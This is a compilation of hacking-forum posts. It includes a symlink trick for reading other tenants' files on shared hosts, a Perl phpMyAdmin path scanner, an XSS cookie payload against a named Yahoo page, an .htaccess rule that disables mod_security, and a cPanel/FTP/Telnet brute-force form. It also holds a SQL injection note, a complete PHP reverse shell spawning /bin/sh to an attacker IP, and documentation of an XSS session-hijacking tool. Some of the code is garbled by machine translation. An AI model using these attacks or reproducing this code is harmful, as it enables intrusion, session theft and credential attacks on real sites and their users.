Browsing Site Using UserNames

Hi,

Today I am going to show a trick to browse the website using the username. How? Please go through the document to understand how.

Note: This method does not works always but most of the times.

Suppose you find a symlink using your favourite search engine like google. Dont laugh, yes beleive me you can!!!

example:-

http://site.com/sym/home/somename/

Now open http://www.yougetsignal.com and do the ReverseIP. So some websites get listed.

Now try to browse like http://site.com/sym/home/<website>/

If you find the somename matches with the listed websites and you can view the files of that website than this tutorial is not for you, stop reading and leave please. If above is not the case with you, please read on.

Now we are sure that  "somename" is the username and we got to find a way to find the usernames on the server. Well there are different ways to find it, I am going to discuss to how to find usernames using symnlink that you found using google or your favourite search engine.

So go here using your symlink:- http://site.com/sym/etc/group

Wow! you can see the groups, these are infact the usernames. Dont believe me, go search for creating users and groups on linux on google. Now why /etc/group file, because it is viewable and have no rectricted permissions set. 

So you now found the usernames :) cool 'eh!?

Now you can browse the different sites like http://site.com/<username>/public_html.  Remember to add "public_html" or you will get Forbidden message.

The moment you browse the URL, you can view the files of that user mapped to a website. Files of different types, index, configure, db, connection and ofcourse because you found this site in google having a symlink, there  is a possibility that you find shells. Trust me yes there are some "Smart Hackers" who left their shell  as it is to be found by the guys like you:). 

So be careful when you upload the shell, after finishing your dirty work, remove it or chmod it.

Anyway, lets come to the point now. So now you have usernames and now you can browse the different directories of different websites of that users. But how do you relate the usernames with the websites? May be the matching usernames with the matching websites you found earlier using ReverseIP.

But this is not the case for all the users and most of the times not all websites gets listed. So how you going to found the name of the website of that username. Yea I know some of you would say, " we can browse to index.php or some configuration file to find the site name" Yes sometimes you can but am sure not always.So then whats next?

Some of you would say :-

"Shit! man, I can not do a simple task, can't even browse a site!!!!. I know there is a shell, but fuck I don't know the site name. Fuck hacking, am leaving it!!! :("   You see any resemblance? NO? read on :)

Ok here is the trick:-

1. Get the IP of the server, lets say 127.0.0.1

2. Now take any username and tyoe http://127.0.0.1/~username/

Volla! I can see the website now, wow, I am able to browse the site. I got shell, I am in, I r00ted, backd00red!!

                                             G A M E   O V E R

One more thing, sometimes shell is placed here:  http://site.com/<username>/public_html/shell.php.But when you try to browse it using http://site.com/shell.php, you wont find it. That is strange! Try with my trick like this :- http://127.0.0.1/~username/shell.php Voilla!, you got shell!!! :)

                                               

By:-

Mike Waals

Mail: MikeWaals@Gmail.com

PHPmyadmin Finder

PHPmyadmin Finder

Below is the Perl script that will scan for the phpmyadmin path for any server/site:-


Code#

#! / Usr / bin / perl
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>
#
# Title: PHPmyadmin Finder
# Author: Ahmad
# From: Iranian CEH
# Category: Remote
# Web Site: Www.03xa.Ir
#
# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<

    use HTTP :: Request;
    use LWP :: UserAgent;


system ("cls");
system ("title Php My Admin Finder");
print "\ t >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> \ n";
print "\ t << \ n";
print "\ t> Php My Admin Finder> \ n";
print "\ t >> \ n";
print "\ t <12/01/28 <\ n";
print "\ t >> \ n";
print "\ t> CodedBy Ahmad> \ n";
print "\ t >> \ n";
print "\ t> Web Site: Www.03xa.Ir> \ n";
print "\ t << \ n";
print "\ t <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< \ n";
print "\ n \ n";
sleep (1);
    print "\ n \ n";
    print "\ t Enter Site (Exam: http://Www.Site.Ru) \ n";
print "\ n";
    print "\ t Site:";
    $ Host = <STDIN>;
    chomp ($ host);
    if ($ host! ~ / http: \ / \ / /) {$ host = "http:// $ host";};

print "\ n \ n";
print "\ t \ t >>>>>>>>>>> Start Scanning <<<<<<<<<<< \ n";
print "\ n \ n";
@ P = ("/ phpMyAdmin /",
"/ Phpmyadmin /",
"/ PMA /",
"/ Admin /",
"/ Dbadmin /",
"/ Mysql /",
"/ Myadmin /",
"/ Phpmyadmin2 /",
"/ PhpMyAdmin2 /",
"/ PhpMyAdmin-2 /",
"/ Php-my-admin /",
"/ PhpMyAdmin-2.2.3 /",
"/ PhpMyAdmin-2.2.6 /",
"/ PhpMyAdmin-2.5.1 /",
"/ PhpMyAdmin-2.5.4 /",
"/ PhpMyAdmin-2.5.5-rc1 /",
"/ PhpMyAdmin-2.5.5-rc2 /",
"/ PhpMyAdmin-2.5.5 /",
"/ PhpMyAdmin-2.5.5-pl1 /",
"/ PhpMyAdmin-2.5.6-rc1 /",
"/ PhpMyAdmin-2.5.6-rc2 /",
"/ PhpMyAdmin-2.5.6 /",
"/ PhpMyAdmin-2.5.7 /",
"/ PhpMyAdmin-2.5.7-pl1 /",
"/ PhpMyAdmin-2.6.0-alpha /",
"/ PhpMyAdmin-2.6.0-alpha2 /",
"/ PhpMyAdmin-2.6.0-beta1 /",
"/ PhpMyAdmin-2.6.0-beta2 /",
"/ PhpMyAdmin-2.6.0-rc1 /",
"/ PhpMyAdmin-2.6.0-rc2 /",
"/ PhpMyAdmin-2.6.0-rc3 /",
"/ PhpMyAdmin-2.6.0 /",
"/ PhpMyAdmin-2.6.0-pl1 /",
"/ PhpMyAdmin-2.6.0-pl2 /",
"/ PhpMyAdmin-2.6.0-pl3 /",
"/ PhpMyAdmin-2.6.1-rc1 /",
"/ PhpMyAdmin-2.6.1-rc2 /",
"/ PhpMyAdmin-2.6.1 /",
"/ PhpMyAdmin-2.6.1-pl1 /",
"/ PhpMyAdmin-2.6.1-pl2 /",
"/ PhpMyAdmin-2.6.1-pl3 /",
"/ PhpMyAdmin-2.6.2-rc1 /",
"/ PhpMyAdmin-2.6.2-beta1 /",
"/ PhpMyAdmin-2.6.2-rc1 /",
"/ PhpMyAdmin-2.6.2 /",
"/ PhpMyAdmin-2.6.2-pl1 /",
"/ PhpMyAdmin-2.6.3 /",
"/ PhpMyAdmin-2.6.3-rc1 /",
"/ PhpMyAdmin-2.6.3 /",
"/ PhpMyAdmin-2.6.3-pl1 /",
"/ PhpMyAdmin-2.6.4-rc1 /",
"/ PhpMyAdmin-2.6.4-pl1 /",
"/ PhpMyAdmin-2.6.4-pl2 /",
"/ PhpMyAdmin-2.6.4-pl3 /",
"/ PhpMyAdmin-2.6.4-pl4 /",
"/ PhpMyAdmin-2.6.4 /",
"/ PhpMyAdmin-2.7.0-beta1 /",
"/ PhpMyAdmin-2.7.0-rc1 /",
"/ PhpMyAdmin-2.7.0-pl1 /",
"/ PhpMyAdmin-2.7.0-pl2 /",
"/ PhpMyAdmin-2.7.0 /",
"/ PhpMyAdmin-2.8.0-beta1 /",
"/ PhpMyAdmin-2.8.0-rc1 /",
"/ PhpMyAdmin-2.8.0-rc2 /",
"/ PhpMyAdmin-2.8.0 /",
"/ PhpMyAdmin-2.8.0.1 /",
"/ PhpMyAdmin-2.8.0.2 /",
"/ PhpMyAdmin-2.8.0.3 /",
"/ PhpMyAdmin-2.8.0.4 /",
"/ PhpMyAdmin-2.8.1-rc1 /",
"/ PhpMyAdmin-2.8.1 /",
"/ PhpMyAdmin-2.8.2 /",
"/ PhpMyAdmin-3.2.0.1 /",
"/ PhpMyAdmin 2.2.3 /",
"/ PhpMyAdmin 2.2.6 /",
"/ PhpMyAdmin 2.5.1 /",
"/ PhpMyAdmin 2.5.4 /",
"/ PhpMyAdmin 2.5.5 rc1 /",
"/ PhpMyAdmin 2.5.5 rc2 /",
"/ PhpMyAdmin 2.5.5 /",
"/ PhpMyAdmin 2.5.5 pl1 /",
"/ PhpMyAdmin 2.5.6 rc1 /",
"/ PhpMyAdmin 2.5.6 rc2 /",
"/ PhpMyAdmin 2.5.6 /",
"/ PhpMyAdmin 2.5.7 /",
"/ PhpMyAdmin 2.5.7 pl1 /",
"/ PhpMyAdmin 2.6.0 alpha /",
"/ PhpMyAdmin 2.6.0 alpha2 /",
"/ PhpMyAdmin 2.6.0 beta1 /",
"/ PhpMyAdmin 2.6.0 beta2 /",
"/ PhpMyAdmin 2.6.0 rc1 /",
"/ PhpMyAdmin 2.6.0 rc2 /",
"/ PhpMyAdmin 2.6.0 rc3 /",
"/ PhpMyAdmin 2.6.0 /",
"/ PhpMyAdmin 2.6.0 pl1 /",
"/ PhpMyAdmin 2.6.0 pl2 /",
"/ PhpMyAdmin 2.6.0 pl3 /",
"/ PhpMyAdmin 2.6.1 rc1 /",
"/ PhpMyAdmin 2.6.1 rc2 /",
"/ PhpMyAdmin 2.6.1 /",
"/ PhpMyAdmin 2.6.1 pl1 /",
"/ PhpMyAdmin 2.6.1 pl2 /",
"/ PhpMyAdmin 2.6.1 pl3 /",
"/ PhpMyAdmin 2.6.2 rc1 /",
"/ PhpMyAdmin 2.6.2 beta1 /",
"/ PhpMyAdmin 2.6.2 rc1 /",
"/ PhpMyAdmin 2.6.2 /",
"/ PhpMyAdmin 2.6.2 pl1 /",
"/ PhpMyAdmin 2.6.3 /",
"/ PhpMyAdmin 2.6.3 rc1 /",
"/ PhpMyAdmin 2.6.3 /",
"/ PhpMyAdmin 2.6.3 pl1 /",
"/ PhpMyAdmin 2.6.4 rc1 /",
"/ PhpMyAdmin 2.6.4 pl1 /",
"/ PhpMyAdmin 2.6.4 pl2 /",
"/ PhpMyAdmin 2.6.4 pl3 /",
"/ PhpMyAdmin 2.6.4 pl4 /",
"/ PhpMyAdmin 2.6.4 /",
"/ PhpMyAdmin 2.7.0 beta1 /",
"/ PhpMyAdmin 2.7.0 rc1 /",
"/ PhpMyAdmin 2.7.0 pl1 /",
"/ PhpMyAdmin 2.7.0 pl2 /",
"/ PhpMyAdmin 2.7.0 /",
"/ PhpMyAdmin 2.8.0 beta1 /",
"/ PhpMyAdmin 2.8.0 rc1 /",
"/ PhpMyAdmin 2.8.0 rc2 /",
"/ PhpMyAdmin 2.8.0 /",
"/ PhpMyAdmin 2.8.0.1 /",
"/ PhpMyAdmin 2.8.0.2 /",
"/ PhpMyAdmin 2.8.0.3 /",
"/ PhpMyAdmin 2.8.0.4 /",
"/ PhpMyAdmin 2.8.1 rc1 /",
"/ PhpMyAdmin 2.8.1 /",
"/ PhpMyAdmin 2.8.2 /",
"/ PhpMyAdmin 3.2.0.1 /",
"/ PhpMyAdmin *. *. *. * /",
"/ PhpMyAdmin *. * /",
"/ PhpMyAdmin-*. *. * /",
"/ Sqlmanager /",
"/ Mysqlmanager /",
"/ P / m / a /",
"/ PMA2005 /",
"/ Pma2005 /",
"/ Phpmanager /",
"/ Php-myadmin /",
"/ Phpmy-admin /",
"/ Webadmin /",
"/ Sqlweb /",
"/ Websql /",
"/ Webdb /",
"/ Mysqladmin /",
"/ Mysql-admin /",
"/ Admin /",
"/ Login /",
"/ Admin1.php /",
"/ Admin.php /",
"/ Admin.html /",
"/ Admin1.php /",
"/ Admin1.html /",
"/ Login.php /",
"/ Admin / cp.php /",
"/ Cp.php /",
"/ Administrator / index.php /",
"/ Administrator / index.html /",
"/ Administartor /",
"/ Admin.login /",
"/ Administrator / login.php /",
"/ Administrator / login.html /",
"/ PMA /",
"/ Pma /",
"/ Dbadmin /",
"/ Mysql /",
"/ Myadmin /",
"/ Phpmyadmin2 /",
"/ PhpMyAdmin2 /",
"/ PhpMyAdmin-2 /",
"/ Php-my-admin /",
"/ Mya /",

);


foreach $ myadmin (@ p) {

$ Url = $ host. $ Myadmin;
$ Request = HTTP :: Request-> new (GET => $ url);
$ Useragent = LWP :: UserAgent-> new ();

$ Response = $ useragent-> request ($ request);
if ($ response-> is_success) {print "Found: $ url \ n";}
if ($ response-> content = ~ / Access Denied /) {print "Found: $ url => [Error & Access Denied] \ n";}
else {print "NotFound: $ myadmin \ n";}



{


code#

 Yahoo Remote Cookie Hijack Proof Of Concept - 0Day

XSS Vulnerability in Yahoo:-

Code:
http://advision.webevents.yahoo.com/nokiaproductions/forums.php/undefined1"><script>alert(document.cookie)</script>
Good luck

 htaccess to bypass Service Temporarily Unavailable

Today we will see how to bypass the Service Temporarily Unavailable page during symnlink.
1. Create the .htaccess file
2. paste the below code in the .htaccess file
3. upload it and it works!!!!



< Ifmodule mod_security . c > 
    Off Secfilterengine 
    Secfilterscanpost Off 
</ Ifmodule

Cpanel + FTP + Telnet

 (Credits to Indishell Guys)

< html >
< head >
< meta http - equiv = "Content-Language"  content = "en-us" >
</ head >
< title > - == [[  B0X Owned By Indishell  ]] == - </ title >
< body text = "# 00Ff00"  Bgcolor = "# 000,000th"  Vlink = "# 008,000th"  link = "# 008,000"  Alink = "# 008,000"  body background = "Http://Img54.xooimage.com/Files/ F/7/2/Kbk29185-227A592.gif "  >
< div align = "center" >
< form method = "POST"  style = "border: 1px solid # 000 thousandth" >
        < img border = "0th"  src = "http :/ / I43.tinypic.com/Xmo9Om.gif "  width = "426th"  height = "one hundred and sixty-nine" > < table border = "one"  width = "sixty seventh%"  Bordercolorlight = "# 008000th"  Bordercolordark = "# the 003,700th" >
                < tr >
                        < td >
        < p align = "center" > < b > < font color = "# 008,000th"  face = "Comic Sans MS"  size = "two" >
                < span lang = "en-us" > IP server </ span >: </ font > < font face = "Arial" >
        </ font > < font face = "Comic Sans MS"  color = "# Cc0000" >
        < input type = "text"  name = "target"  size = "the 16th"  value = "localhost"  style = "border: 2px solid # 1D1D1D; background-color: # 000 000; color: # 008000; font-family: Comic Sans MS; font-weight: bold; font-size: 13Px " > </ font > </ b > </ p >
        < p align = "center" > < b > < font color = "# the 008 thousandth"  face = "Comic Sans </ font > </ b > </ p >
                        < div align = "center" >
                                < table border = "the 1st"  width = "fifty-seven%"  Bordercolorlight = "# 008000"  Bordercolordark = "the 003,700th #" >
                                        < tr >
                                                < td align = "center" >
                                                                                                < span lang = "en-us" > < font color = "# Ff0000" > < b > User  List </ b > </ font > </ span > </ td >
                                                < td >
                                                < p align = "center" >
                                                                                                < span lang = "en-us" > < font color = "# Ff0000" > < b > Password  List </ b > </ font > </ span > </ td >
                                        </ tr >
                                </ table >                         <

p align = "center" > & nbsp ; < textarea rows = "20th"  name = "users"  cols = "25th"  style = "border: 2px solid # 1D1D1D; background-color: # 000 thousand ; color: # C0C0C0 " > </ textarea > < textarea rows = "the 20th"  name = "passwords"  cols = "the 25th"  style = "border: 2px solid # 1D1D1D; background-color: # 000000; color: # C0C0C0" > </ textarea > < br >
        < br >
                                < font style = "font-weight: 700th"  size = "the second"  face = "Comic Sans MS"  color = "# the 008,000th" >
                                                < span lang = "ar-sa" > Guess options </ span > </ font > < font style = "font-size: 12pt;"  size = "-3"  face = "Verdana" > < span style = "font-size: 9Pt;" > & nbsp ;
                                                < font face = "Comic Sans MS" >
                                                < input name = "Cracktype"  value = "cpanel"  style = "font-weight: the seven hundredth;"  checked type = "radio" > </ font > </ span > </ font > < b > < font size = "the second"  face = "Comic Sans MS" >
                                                Cpanel </ font > < font size = "second"  color = "# Cc0000"  face = "Comic Sans MS" >
                                                </ font > < font size = "the second"  color = "# FFFFFF"  face = "Comic Sans MS" >
                                                ( 2 082 ) </ font > </ b > < font size = "second"  face = "Comic Sans MS" > < b > </ b >
                                                </ font >
                                                < font style = "font-size: 12pt;"  size = "-3"  face = "Verdana" >
                                                < span style = "font-size: 9Pt;" > < font face = " Comic Sans MS " >
                                                < input name = "Cracktype"  value = "Cpanel2"  style = "font-weight: seven hundred;"  type = "radio" > </ font > </ span > </ font > < b > < font size = "the second"  face = "Comic Sans MS" >
                                                Telnet </ font > < font size = "the 2nd"  color = "# Cc0000"  face = "Comic Sans MS" >
                                                </ font > < font size = "2"  color = "# FFFFFF"  face = "Comic Sans MS" >
                                                ( twenty-three ) </ font > </ b > < font size = "the 2nd"  face = "Comic Sans MS" > < b > </ b >
                                                </ font >
                                                < font style = "font-size: 12pt;"  size = "-3"  face = "Verdana" >
                                                < span style = "font-size: 9Pt;" > < font face = "Comic Sans MS" >
                                                < input name = "Cracktype"  value = "ftp"  style = "font-weight: 700th;"  type = "radio" > </ font > </ span > </ font > < font style = "font-weight: seven hundred;"  size = "the second"  face = "Comic Sans MS" >
                                                </ font > < span style = "font-weight: the seven hundredth;" >
                                                < font size = "the second"  face = "Comic Sans MS" > Ftp  </ font >
                                                < font size = "the second"  color = "# FFFFFF"  face = "Comic Sans MS" >
                                                ( 21st ) </ font > </ span >
                                                < br >
                                                < font style = "font-weight: 700"  size = "2nd "  face = "Comic Sans MS"  color = "# 008 000" > < span lang = "ar-sa" > Timeout delay </ span >
                                                < input type = "text"  name = "Connect_Timeout"  style = "border: 2px solid # 1D1D1D; background: black; color: RED "  size = forty-eight value = "the 5th" > </ input >
                                                < br >
                                                < input type = "checkbox"  name = "Bruteforce"  value = "true" > < font style = " font-weight: the seven hundredth "  size = "2"  face = "Comic Sans MS"  color = "# the 008000th" > < span lang = "ar-sa" > Bruteforce </ span > </ input >
                                                < select name = "charset "  style = "border: 2px solid # 1D1D1D; background: black; color: RED" >
                                                 < option value = "all" > All Letters  +  Numbers </ option >
                                                  < option value = "numeric" > Numbers </ option >
                                                 < option value = "letters" > Letters </ option >
                                                 < option value = "symbols" > Symbols </ option >
                                                 < option value = "Lowercase" > Lower Letters </ option >
                                                 < option value = "Uppercase" > Higher Letters < / option >
                                                 < option value = "Lowernumeric" > Lower Letters  +  Numbers </ option >
                                                 < option value = "Uppernumeric" > Upper Letters  +  Numbers </ option >
                                                 < option value = "Lowersymbols" > Lower Letters  +  Symbols </ option >
                                                 < option value = "Uppersymbols" > Upper Letters  +  Symbols </ option >
                                                 < option value = "Letterssymbols" > All Letters  +  Symbols </ option >
                                                 < option value = "Numberssymbols" > Numbers  +  Symbols </ option >
                                                 < option value = "Lowernumericsymbols" > Lower Letters  +  Numbers  +  Symbols </ option >
                                                 < option value = "Uppernumericsymbols" > Upper Letters  +  Numbers  +  Symbols </ option >
                                                 < option value = "Lettersnumericsymbols" > All Letters  +  Numbers  +  Symbols </ option >                                                 </

select >
                                                < br >
                                                < font style = "font-weight: 700"  size = "2nd"  face = "Comic Sans MS"  color = "# 008 thousandth" > < span lang = "ar-sa" > Min Bruteforce Length : </ span > </ font >
                                                < input type = "text"  name = "Min_Length"  style = "border: 2px solid # 1D1D1D; background: black; color: RED"  size = 48th value = "first" > </ input >
                                                < br >
                                                < font style = "font-weight: 700th"  size = "second"  face = "Comic Sans MS"  color = "# 008,000th" > < span lang = "ar-sa" > Max Length Bruteforce : </ span > </ font >
                                                < input type = "text"  name = "Max_Length"  style = "border: 2px solid # 1D1D1D; background: black; color: RED"  size = the forty eighth value = "tenth" > </ input >
                                                </ p >
        < p align = "center" > & nbsp ; & nbsp ; & nbsp ; & nbsp ;
        < input type = "submit"  value = "Go"  name = "submit"  style = "color: # 008 thousandth ; font-weight: bold; border: 1px solid # three hundred and thirty-three thousand three hundred and thirty-three; background-color: # 000000 " > </ p >
                        </ td >
                </ tr >
        </ table >     <

p align = "center" > </ td >
  </ tr >
  </ form > <


p  class = Style2 align = center > < img border = "the 0th"  align = center src = "Http://I.min.us/Icvas6.png"  width = "two hundred and ninetieth"  height = "eighty-six" > </ p >       <

form style = "border: 0px ridge # FFFFFF" >     <




p align = "center" > </ td >
  </ tr > < div align = "center" >                 <

tr > < /

form > <


div align = "center" >
< table

Bordercolorlight = "# the 008,000th"  Bordercolordark = "# 006A00" >
< p align = "left" >
< textarea style = "border: 2px solid # 1D1D1D; background: # 000 thousandth; color: # Ccffff"  method = 'POST'  rows = "twenty-fifth"  name = "S1"  cols = "the twenty-second" > </


textarea >
< table >
< tr >
< form action = ""  method = "POST" >
< input type = "hidden"  value = "true"  name = "Grab_Users1" > </ input >
< input type = submit value = "Usernames Grab from / etc / passwd" > </ input >
</ form >
</ tr >
< br >
< tr >
< form action = ""  method = "POST" >
< input type = "hidden"  value = "true"  name = "Grab_Users2" > </ input >
< input type = submit value = "Usernames Grab from / home /" > </ input >
</ form >
</ tr >
< br >
< tr >
< form action = ""  method = "POST" >
< input type = "hidden"  value = "true"  name = "Grab_Users3" > </ input >
< input type = submit value = "Usernames Grab from / home / II" > </ input >
</ form >
</ tr >
</ form >
</ table >

CMS United SQLI

# CMS United SQL Injection

# CMS United Blind SQL Injection on home.php file

# Site vendor: www.cmsunited.com

# Date: 12/09/2012


# BUG:
http://www.XXXXe.com/home.php?id = [BSQLI]

Reverse PHP Shell Prv8

I am going to share you one of the private reverse PHP shell. You can use those times when you did not receive the back connect successfully. You can encrypt it or use like that, totally depends on you.


<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = 'XXX.XXX.XXX.XXX';  // CHANGE THIS
$port = XX;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0);  // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

?>

Shell of the future

What is Shell of the Future?

Shell of the Future is a Reverse Web Shell handler. It can be used to hijack sessions where JavaScript can be injected using Cross-site Scripting or through the browser's address bar. It makes use of HTML5's Cross Origin Requests and can bypass anti-session hijacking measures like Http-Only cookies and IP address-Session ID binding.

It has been designed to be used as a POC to demonstrate the impact of XSS flaws in a Penetration test with the same ease as getting an alert box to pop-up.

Possible Uses:

Shell of the Future can be used for the following purposes:

·         Demonstrate the severity of XSS and JavaScript injection attacks

·         Create POCs for XSS vulnerabilities in Penetration test reports

·         Run automated scans on internal websites from outside by tunneling the traffic through an internal browser.

Requirements:

·         .NET framework 2.0 and above

·         If the proxy or the server component must listen on a port less than 1024 then it must be run with administrator privileges.

Architecture:

Shell of the Future has two main components:

·         Proxy Server:
The Pentester's browser must be configured to use this as the proxy server. The proxy server listens on port 1337 by default. All requests sent by the Pentester's browser are captured by this proxy which converts them in to JSON messages and sends them to the Shell of the Future web server. It regularly polls the web server to test if responses to those requests are available. If a response is available the proxy processes the response body to make changes like adding a banner etc(if enabled by the user) and sends the response to the pentester's browser.

If the browser is requesting static files like css or jpg files then these are directly fetched from the server. This feature is also configurable and can be turned off if required.

·         Web Server:
The web server gets all the requests from the proxy and stores it in a temporary database. When the victim polls the web server, the requests are sent to it. The victim fetches the response for these requests from the server and sends them back to the server which is again stored in the database. When the proxy polls the server looking for responses, this response is sent to it.

The web server also servers the JavaScript exploits to the victim. The default exploits are e1.js and e2.js and the server dynamically adds its IP address to the exploits when serving them to help them communicate back to it. The victim constantly polls the server to fetch new requests.

Exploits:

Shell of the Future comes with two default exploits:

·         e1.js
This exploit is the simpler of the two. Once injected in to the browser it polls the Shell of the Future server constantly checking for any new requests that must be fetched. If any requests are available these are sent in JSON format. The exploit fetches individual requests from the JSON object, fetches each of them from the server, encodes the response in hex and then sends it over to the Shell of the Future server.

·         e2.js
This exploit performs all the functions that e1.js does and in addition has an added feature to increase the lifetime of the injected script. It adds an invisible link to the page and adds a 'onmousemove' event handler so that the link is always under the cursor. When the victim clicks anywhere on the page, this link gets clicks and it opens the same site in a new tab.

The transition is hardly noticeable and the victim would continue browsing the site in the new tab while the injected exploit would remain active in the other tab.

These exploits have some other special features as well. The exploit needs to know the IP address of the Shell of the Future server inorder to communicate with it. This IP address can differ from user to user and having a hardcoded IP address in the exploit would require the user to change it before running the tool. To avoid this inconvenience, the IP address of the server is added dynamically to these exploits.

The variable 'sotf_server_url' is added by the server when serving e1.js or e2.js. The hostname of the request goes in as the server url. If the file is fetched with the request 'http://10.10.10.10:8080/e1.js' then the value of this variable is '10.10.10.10:8080'

Apart from e1.js and e2.js, two more files get similar treatment, e3.js and e4.js. If you want to create your own exploit and want the server url to be added dynamically then save your exploit as either e3.js or e4.js.

Note:
Every time the tool starts it checks for updated versions of Shell of the Future and newer versions of e1.js and e2.js. If the Attack and Defense Labs server contains newer versions of these exploits then its overwrites the currnet ones. If you wish to make changes to the default exploits then save them as e3.js or e4.js. Otherwise they can be overwritten.

Configuration:

Shell of the Future is designed to run and give the optimal results in its default configuration. However it does provide the user with ability to tweak it considerably. Let us look at some of the configuration options

Operating Mode:

·         Server + Proxy (default)
Runs both the web and proxy server. Ideal for internal demos but cannot be used to connect victims from internet unless the system running Shell of the Future has a public IP address.

·         Proxy Only
Runs only the proxy server. Requires the server component to be run seperately on a web server with a public IP address to enable victims to connect over the internet.

Note: Currently a separate server component is not available. However it would be made available shortly.

Server settings:

·         Loopback only:
If enabled the server only accepts connections from the local system. If both the victim and the hijacker are on the same system then this setting can be applied.

·         Server IP and port:
When operating in the 'Server+Proxy' mode the port number on which the server should listen can be configured here, its 80 by default. If a port less than 1024 is selected then the user requires administrative access.
When operating in the 'Proxy Only' mode the IP address and the port number of the external server should be provided.

Proxy settings:

·         Loopback only:
If enabled the proxy server only accepts connections from the local system.

·         Proxy port:
The port number on which the proxy server should listen can be configured here, its 1337 by default. If a port less than 1024 is selected then the user requires administrative access.

Fetch Content Directly:

Static files can be fetched directly form the actual server rather fetching them through the victim. This saves bandwidth and makes the hijacked session faster. The type of files that can be fetched directly can be configured. If all files must pass through the victim then uncheck this feature.

·         Fetch by file extensions:
Files can be selected based on extensions. The files with the selected extensions will always be fetched directly.

·         Fetch by Regex:
A regex can be assigned to denote the files that must be fetched directly. Files for which the URL matches the regex will be fetched directly.

·         Upstream proxy:
When fetching contents directly if a any internal corporate proxy server must be used then it can be configured here.

Response Rewriting:

The proxy does some processing on the response form the victim like changing the HTTPS links, adding a banner etc. If these changes are not required then this feature can be disabled.

·         Handling HTTPS links:
Shell of the Future does not listen for SSL connections but it can still handle HTTPS websites. It does this magic by replacing all 'https://' links in to 'http://uptossl.' links. When the proxy sees 'http://uptossl.' in the request URL then it automatically converts it in to 'https://'.

·         Customized Banner:
This is byfar the most useful feature in demos and POCs. It displays a banner anywhere on the screen of the hijacked session. The position, color, size, text and other properties of the banner can be customized easily. The banner is added as a <div> tag before the body tag of the page. If any changes are made to the banner settings when the tool is running then 'Apply Changes' must be clicked for the changes to take effect.

·         Match and Replace:
This feature can be used to match and replace any section of the response body. Regex can also be used to perform a match.

FAQ:

1.      Does Shell of the Future work on Linux?
Not properly. With a few changes however it should be able to run on Mono. Since the source is available, if you have experience developing for Mono then you could port it very easily.

2.      Why do I see strange characters in the hijacked session?
That is because of encoding issues. The victim fetches the pages using the responseText property of the XMLHttpRequest object and then it is hex encoded before being sent it to the server. Some characters are corrupted either because the reponseText property does not give them in the right format or because of the hex encoding. Sometimes when performing 'response rewriting' in the proxy the wrong character encoding might be used to handle the response.

3.      Can I fetch binary content through the victim?
No. The responseText property does not handle binary content properly. You could however use the responseBody property on IE and handle binary content, that would require customizing the exploit.

4.      Why is the hijacked session slow?
Because it is going through three routing points, the proxy, the server and the victim's browser. Having said that, for most websites the speed is good enough in my opinion. Even content heavy sites like Yahoo load pretty quickly.

5.      A particular site is extremly slow, why?
Sometimes when a request for a binary file goes through the victim it slows down the entire session. Most of the times stopping and reloading the page would solve the issue. If there is a particular file that is clogging up the proxy then write a regex to fetch this file directly.

6.      Can I browser multiple sessions at one time?
Yes you can. As many as you want.

7.      The banner does not show up on sometimes, why?
The banner feature is actually a match and replace feature. Its looks for '<body' and replaces it with '<div>-banner text</div><body'. If this particular site does not have a body tag(which is unusual) then the banner is not added.

